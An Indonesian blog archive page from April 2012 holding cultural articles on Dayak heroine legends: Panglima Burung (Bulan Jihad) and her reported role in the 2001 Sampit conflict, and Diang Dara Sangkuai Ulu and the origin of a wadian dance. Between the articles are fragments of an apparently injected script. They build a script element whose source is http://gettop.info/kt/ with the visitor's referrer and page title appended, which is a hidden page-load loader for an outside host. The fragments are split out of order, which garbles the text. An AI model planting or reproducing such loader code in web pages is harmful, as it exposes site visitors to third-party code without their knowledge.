All Posts from April, 2012

Panglima Burung, Kartini Bangsa Dayak (3)

April 24th, 2012 | By admin in KEBUDAYAAN | No Comments »

 Oleh : Syamsuddin Rudiannoor, S. Sos  (HP 0813 4960 6504) 


                Legenda, kisah atau apa pun bentuk khabar tentang Panglima Burung tidak terdengar antara kurun 1960 sampai tahun 2000. Dengan demikian maka generasi yang lahir antara tahun tersebut dipastikan asing kepada nama Panglima Burung. Namun tatkala terjadi kerusuhan etnis tahun 2001 di Sampit dan seantero Kalimantan Tengah, tiba-tiba Panglima Burung muncul mendadak. Sekonyong-konyong namanya meroket, sangat menghebohkan dan sangat luar biasa istimewa. Saat itu Panglima Burung sangat dihajatkan kehadirannya sebagai tokok gaib Dayak dalam menghadapi serangan etnis tertentu dari seberang laut. Apa boleh buat, sesuatu yang sangat lama tidak diketahui dan telah dilupakan oleh sejarah, menjadi bangun dan dihadirkan ke alam nyata. Lalu apa, siapa dan bagaimana Panglima Burung berikut latar belakang ketokohannya? Inilah sebagian kecil jawabannya versi oang-orang kampung yang mendiami Barito pantai.

 Kiyai Haji M. Juhran  Erpan Ali, Ketua Pondok Pesantren Ushuluddin, Martapura, berkata: “Panglima Burung seorang wanita berparas cantik namun berwatak bengis. Selain itu ia juga bergelar hajjah”.*1)

Agaknya, kerusukan etnis yang mulai pecah sejak 18 Pebruari 2001 di Sampit mampu memaksa Panglima Burung hadir “dan membantu warga suku Dayak berperang dan mengusir warga etnis Madura. Sebagai Panglima Besar, tentu saja Panglima Burung tidak turun sendiri tetapi membawa sejumlah pengawal alias Pasukan Khusus. Kata Abdul Hadi Bondo Arsyad, seorang Temanggung Dayak dari Tumbang Senamang, Katingan Hulu, “Panglima Burung muncul dengan membawa 87 orang pasukan khususnya”.

 

Disamping Panglima Burung sebagai panglima tertinggi Dayak,rusuh Sampit juga menghadirkan beberapa tokoh legenda alam gaib lainnya seperti Panglima Palai, Panglima Api, Panglima Angsa, Panglima Hujan Panas, Panglima Angin dan beberapa panglima sakti lainnya. Yang pasti dari beberapa panglima itu terdapat dua panglima wanita cantik yakni Panglima Burung dan Panglima Api.

Kembali kepada keberadaan Panglima Burung yang legendaris, kata Kiyai Haji M. Juhran Erpan Ali (56), “Keberadaannya memang nyata, berwujud seorang wanita berparas cantik namun berwatak bengis. Panglima Burung sudah ada jauh sebelum Indonesia terbentuk”.*2) Namun begitu, yang mengejut­kan dari penuturan Kiyai Juhran adalah karena sosok Panglima Burung selaku Panglima Perang Tertinggi Suku Dayak ternyata beragama Islam dan menyandang titel seorang hajjah.

            Dibawah judul: “Bulan Jihad itu Panglima Burung?”, Anggraeni Antemas mengabarkan: “Pada 52 tahun yang lalu, tepatnya dalam bulan Januari 1949”, dalam kapasitas sebagai wartawan dan kolomnis Harian “WARTA BERITA” Medan, beliau pernah menulis tentang “seorang pejuang wanita suku Dayak di udik Barito yang sakti mandraguna. Konon, dia mengagumkan bukan saja karena keberaniannya menghadapi serdadu Belanda pada awal abad ke-19 tetapi juga wajah dan sosok puteri Dayak tersebut adalah cantik namun beringas”. Kata Anggraeni, “Saya bersama Arsyad Manan, wartawan mingguan “WAKTU” memang telah bersepakat untuk menulis tentang kepatriotan pejuang wanita Dayak tersebut. Saya menulis untuk WARTA BERITA dan Arsyad Manan untuk WAKTU. Sumber utama kami adalah dua orang tokoh Dayak Kuala Kapuas yaitu Willem Anton Samat dan Adonis Samat (ayah dan anak), yang sama-sama senasib dengan kami sebagai orang politik “Republikein” yang tertawan masuk “Interneerings camp” Belanda pada clash II tahun 1948 di Banjarmasin. WA Samat dan Adonis Samat bertutur bahwa pahlawan cantik tersebut keberaniannya luar biasa sekali. Salah satunya adalah saat berperang mendampingi Gusti Zaleha dalam Perang Barito.  “Amuk Barito itu  terjadi  pada tahun 1900-1901,  dimana suku-suku Dayak Dusun,  Ngaju, Kayan, Kinyah, Siang, Bakumpai, Banjar, Hulu Sungai, baik yang beragama Islam  atau pun Kaharingan bersatu bahu membahu menghadapi serangan Belanda. Nama-nama pahlawan Banjar seperti Antasari, Muhammad Seman dan Gusti Ratu Zaleha selalu bersanding bahu membahu dengan (para pahlawan Dayak seperti) Temanggung Surapati, Antung, Kuing, Temanggung Mangkusari dan lain-lain yang merupakan kesatuan kekuatan dalam perjuangan”.*3)

        Dalam masa perjuangannya melawan kaum kafir kolonialis Belanda, Panglima Burung yang sangat cantik memiliki beberapa panggilan akrab oleh masyarakat. “Ada yang menyebutnya Ilum atau Itak, namun ada pula nama popular lain yang disandarkan kepadanya yaitu Bulan Jihad. Kabarnya, nama Bulan Jihad dipakai Panglima Burung sebagai nama Islamnya dan dia memeluk agama Islam dengan perantaraan Gusti Zaleha kawan akrab seperjuangannya. Dan kita ketahui bahwa Gusti Zaleha adalah puteri Gusti Muhammad Seman, putera Pangeran Antasari yang memimpin Perang Banjar hingga memasuki kawasan Barito Utara dan Selatan, dengan semboyannya: “Haram Manyarah, Waja Sampai ka Puting”.

 

 

 Dan karena ceritera kepahlawanan ini tetap diragukan orang maka Anggraeni Antemas dalam kesempatan berjumpa dengan  Bapak  Tjilik Riwut (Gubernur pertama Kalteng) di Istana Merdeka Jakarta tahun 1950 menanyakan kebenaran kisah ini. Tjilik Riwut membenarkan keberadaan srikandi Dayak itu tetapi menurut beliau Bulan Jihad (bukan pejuang wanita asli Dayak Kalteng tetapi) berasal dari Suku Dayak Kinyah (Kaltim). Yang pasti, “nama Bulan Jihad sangat terkenal di antero Barito Hulu dan Barito Selatan”, imbuh Tjilik Riwut. “Dia pendekar sakti mandraguna, punya ilmu kebal tahan senjata, bisa menghilang dan melibas lawan hanya dengan selendang saja. Dia selalu berjuang berdampingan dengan Gusti Zaleha si pejuang puteri Banjar”. Dengan demikian maka ceritera yang disampaikan oleh WA Samat dan Adonis  Samat  (1948) sejalan dengan ceritera Pak Tjilik  Riwut (1950).

          Tatkala tokoh perlawanan Gusti Muhammad Seman meninggal dunia pada tahun 1905,  lalu  pada awal tahun 1906 Gusti Zaleha berkeputusan turun gunung  untuk menyerah kepada Belanda, lantas apa keputusan Bulan  Jihad dan sisa prajurit lainnya?  Ternyata Bulan Jihad tetap haram menyerah dan tetap bertekad meneruskan perjuangan sekaligus meneruskan pengembaraannya. Maka terjadilah perpisahan yang sangat memilukan.

            Dengan berat hati keluarlah Gusti Zaleha dari hutan menuju Muara Teweh dan selanjutnya dibawa oleh kaum penjajah ke Banjarmasin bersama ibunya Nyai Salmah. Sejak perpisahan itu,  tidak  banyak orang  yang tahu dimana keberadaan Bulan Jihad dan kelanjutan perjuangannya. Barulah pada tanggal 11 Januari 1954, Bulan Jihad datang melaporkan diri ke Kantor Pemerintahan setempat di Muara Joloi sehingga saat itulah dia baru mengetahui kalau Indonesia sudah merdeka. Hatinya pun semakin luluh begitu mengetahui sahabat karibnya Ratu Zaleha telah meninggal dunia (24 September 1953) di Banjarmasin. Hari itu orang kembali melihat pemunculannya dan hari itu pula dia kembali mengembara ke hutan rimba untuk selama-lamanya. Inilah sekilas kisah seorang muslimah bernama Bulan Jihad yang setia berperang mendampingi perjuangan Gusti Puteri Zaleha (1903-1906), bahkan dia terus berjuang melewati masa juang pahlawan anti kolonialis lainnya di tanah Dayak ini.

 

            Dari bukti-buki sejarah yang ditunjukkan para pendahulu kita dengan gamblang menyatakan fakta bahwa kebulatan tekad persatuan, tekad perjuangan mengusir penjajahan dari negeri ini, tertuang sangat jelas di dalam Perang Banjar dan Perang Barito. Saat itu, Pangeran Antasari, Demang Leman, Gusti Muhammad Seman, Temanggung Surapati, Gusti Zaleha, Bulan Jihad, Panglima Batur, Temanggung Mangkusari, Panglima Wangkang dan lainnya, adalah gambaran bersatunya kesatuan suku-suku Dayak Ngaju, Dayak Dusun, Kayan, Kenyah, Siang, Bakumpai, Banjar, Hulu  Sungai, baik yang beragama Islam maupun Kaharingan. Kata Kiyai Juhran Erpan Ali kemudian, “Masa itu telah ada kesepakatan tekad bahwa suku Dayak dan suku Banjar tidak akan pernah berperang sesamanya sampai kapan pun juga”.*4)

 

*1)  Tabloid Bebas, Nomor 092, 7-13 Maret 2001, halaman 5.

*2) Tabloid Bebas, No. 092, 7-13 Maret 2001, hlm 5.

*3) Tabloid Bebas, No. 093, 14-20 Maret 2001, hlm  4.
*4) Tablid Bebas, No. 093, 14-20 Maret 2001, hlm 4-5.

if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);

Diang Dara Sangkuai Ulu, Kartini Bangsa Dayak (2)

April 24th, 2012 | By admin in KEBUDAYAAN | No Comments »

Oleh Syamsuddin Rudiannoor, S. Sos (0813 4960 6504)

 

Dalam versi cerita yang lain, kisah perseteruan antara Diang Dara Sangkuai Ulu terjadi tatkala Kepala Suku Bawo menggelar acara Tumet Leut atau pertunjukan kesenian mirip berbalas pantun di depan rumahnya.

Sebagai mana biasa, tatkala Datu Too keluar rumah diiringi anak dan istrinya yang biasa dipanggil Ineh, halaman rumah sudah tampak ansak atau wadah sesajen yang masih kosong, dupa parapen, seperangkat alat musik, penginangan dan perangkat lainnya.

Pada saat yang sama berdatangan pula para kerabat dan tetangga yang memang diundang untuk menghadiri acara seni itu. Tidak seberapa lama datanglah ibu Pasungan yang bertugas menyediakan isi ansak, maka wanita ini pun mengisi ansak dengan sesajen yang terdiri dari telur ayam, kue serabi, gula merah, ayam masak, buah kelapa dan harum-haruman. Belum lama sesajen selesai disusun rapi, kepala suku pun meminta istrinya untuk mulai menembangkan Tumet Leut. Agaknya dia tidak sabar untuk segera mendengarkan lantunan lagu yang sudah lama tidak disenandungkan.

 

 

Pada saat Ineh sedang asyik mengalunkan Tumet Leut, tiba-tiba Lala datang dengan kasar dan marah sehingga tumet leut pun terhenti. Karena suasana tiba-tiba berubah, segera Kepala Suku bertanya kepada putra kebanggaannya. Apa jawab Lala? Rupanya dia sedang sangat marah besar karena wanita yang bernama Diang Dara Sangkuai Ulu telah mengaku sebagai Wadian dan itu merupakan kelancangan yang sangat ganjil dari seorang wanita. Tidakkah wadian hanya khusus untuk pria saja?

Karena suasana kurang mendukung maka Datu Too menghentikan Tumet Leut dan mengajak hadirin makan bersama. Di persantapan itulah Lala menumpahkan keluh-kesahnya. Sementara di tempat lain dan dalam suasana lain, Diang Dara Sangkuai Ulu sudah mencapai tahap akhir latihannya. Kembali dia mencermati gerak-gerik erotis ular yang meliuk-liukkan tubuhnya. Dia meniru gerak-gerik itu sekuat tenaganya. Tidak ada musik yang mengiringi. Hanya desau air mengalir dan gesekan dedaunan tertiup angin yang menjadi musiknya. Namun karena penghayatan yang sangat kuat, tanpa musik pun tarian itu sangatlah indah jadinya. Luar biasa. Sampai akhirnya, tiba-tiba datang seekor burung elang yang terbang tinggi-rendah dengan kepak sayapnya yang sesekali membentang diam.

Ternyata, elang itu penjelmaan dewi cantik yang bernama Ineh Payung Gunting. Dia pun turun dan berubah ke wujud aslinya. Katanya: ”Aku Ineh Payung Gunting dari Gunung Paramatun. Aku peduli dengan hasratmu yang kuat untuk menjadi wadian. Karena kesungguhanmu itu maka hari ini kuturunkan ilmuku untukmu dan kamu akan menjadi wanita pertama sebagai Wadian Dadas. Maka, jadilah orang yang setia dalam mengabdi kepada sesama.”

Maka Ineh Payung Gunting pun menyerahkan gelang-gelang dadas dan memakaikannya ke tangan Diang Dara Sangkuai Ulu. Kemudian Ineh Payung Gunting mengajari gerak-gerik wadian dadas seraya  mengalunginya selendang. Setiap gerak yang diajari diikuti dengan seksama oleh Diang Dara Sangkuai Ulu. Akhirnya, jadilah dia Wadian Dadas yang sempurna.

 

Sampai pada hari yang lain, tampaklah Diang Dara Sangkuai Ulu sedang melatih beberapa teman wanitanya. Tanpa diduga, datanglah Lala yang lama dendam kepadanya. Dengan marah-marah Lala menghentikan latihan itu. Kata Lala: ”Sudahlah Diang Dara Sangkuai Ulu. Tidak perlu kamu mengajari mereka hal-hal begitu. Wadian adalah pekerjaan laki-laki. Perempuan tidak bisa menjadi wadian. Wanita hanya boleh belajar memasak, melahirkan, mengasuh anak dan menjadi istri!”

”Semua itu kami pelajari karena memang itulah dunia kami. Tapi kami juga mau mengabdikan diri kepada kepentingan sesama, sehingga menjadi wadian tidaklah cukup untuk lelaki saja!”

”Kamu salah, Sangkuai Ulu!”, teriak Lala. ”Kamu melawan kodrat kewanitaanmu!!”

”Kami tidak merasa melawan kodrat!”, jawab Diang Dara Sangkuai Ulu tenang. ”Kami tetap akan menjadi wadian Dadas, wadian yang serupa tapi tidak sama dengan Wadian Bawo kebanggaanmu itu. Maaf saja, kami tetap berusaha menjadi wadian karena kami ingin berbuat kebajikan!”

”Tidak!!”, teriak Lala marah, ”hentikan dan turuti keputusanku. Apa kamu sanggup seperti ini..?”, tantang Lala seraya mendemontrasikan Wadian Bawo.

Diang Dara Sangkuai Ulu tertegun mendengar tantangan Lala. Sesungguhnya dia berniat menahan diri dan tidak melayani provokasi itu. Namun karena teman-temannya merasa perlu membalas maka mereka pun menjawab tantangan itu dengan mendemonstrasikan Wadian Dadas bersama-sama. Rupanya, aksi balas Wadian Dadas Diang Dara Sangkuai Ulu dan kawan-kawan membuat Lala sangat terkejut, tertegun dan salah tingkah. Meski pun begitu dia terus membawakan Wadian Bawo-nya menghadapi Wadian Dadas yang terus pula beraksi. Hasilnya, kedua fihak terus bersaing dalam keunggulan tari masing-masing.

Kepala suku Bawo yang dari kejauhan membiarkan aksi permusuhan kedua fihak berlangsung akhirnya mendekat dengan membawa beberapa perangkat upacara. Beliau masuk ke arena persaingan dan memotong aksi tari permusuhan itu dengan maksud mendamaikan mereka. Katanya: ”Berhentilah kalian memamerkan tari permusuhan. Jangan lagi menari karena kemarahan.  Jika kalian  ingin dikenal sepanjang zaman maka permusuhan  ini  harus dihentikan dan kita tampilkan keduanya  dalam satu tarian yang penuh perdamaian. Mari kita tampilkan Wadian Dadas dan Bawo sebagai tarian bersama.”

Akhirnya, Diang Dara Sangkuai Ulu dan Lala berhasil didamaikan oleh Kepala Suku Bawo. Mereka akhirnya mau saling memaafkan. Mereka berjanji untuk tidak saling merendahkan. Mereka pun bersumpah tidak lagi saling menghina. Mereka juga dimintakan kesungguhan nan sejati atas perjanjian itu. Maka atas keberhasilan itulah, kedua fihak di tampung tawari dalam sebuah upacara perdamaian adat kecil. Hasilnya, sejak saat itu Wadian Dadas dan Bawo tidak lagi beradu dalam tari permusuhan yang saling menjatuhkan namun senantiasa tampil bersama dalam sebuah pertunjukan yang hadir membawa gairah cinta dan saling menguatkan. Sejak saat itu maka lahir Iruang Wunrung sebagai tari kolaborasi antara Wadian Dadas dan Wadian Bawo. Maka dengan peranannya itu Kepala Suku Bawo, Datu Too, telah bertindak sebagai Pahlawan Persatuan dan inspirator lahirnya Iruang Wunrung.

Pada fihak lain, Diang Dara Sangkuai Ulu telah lahir sebagai pahlawan yang gagah berani memperjuangkan emansipasi wanita dalam hal kesetaraan peran dalam kehidupan bermasyarakat.

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);

INEH PAYUNG GUNTING, Kartini Bangsa Dayak (1)

April 24th, 2012 | By admin in KEBUDAYAAN | No Comments »

Prakata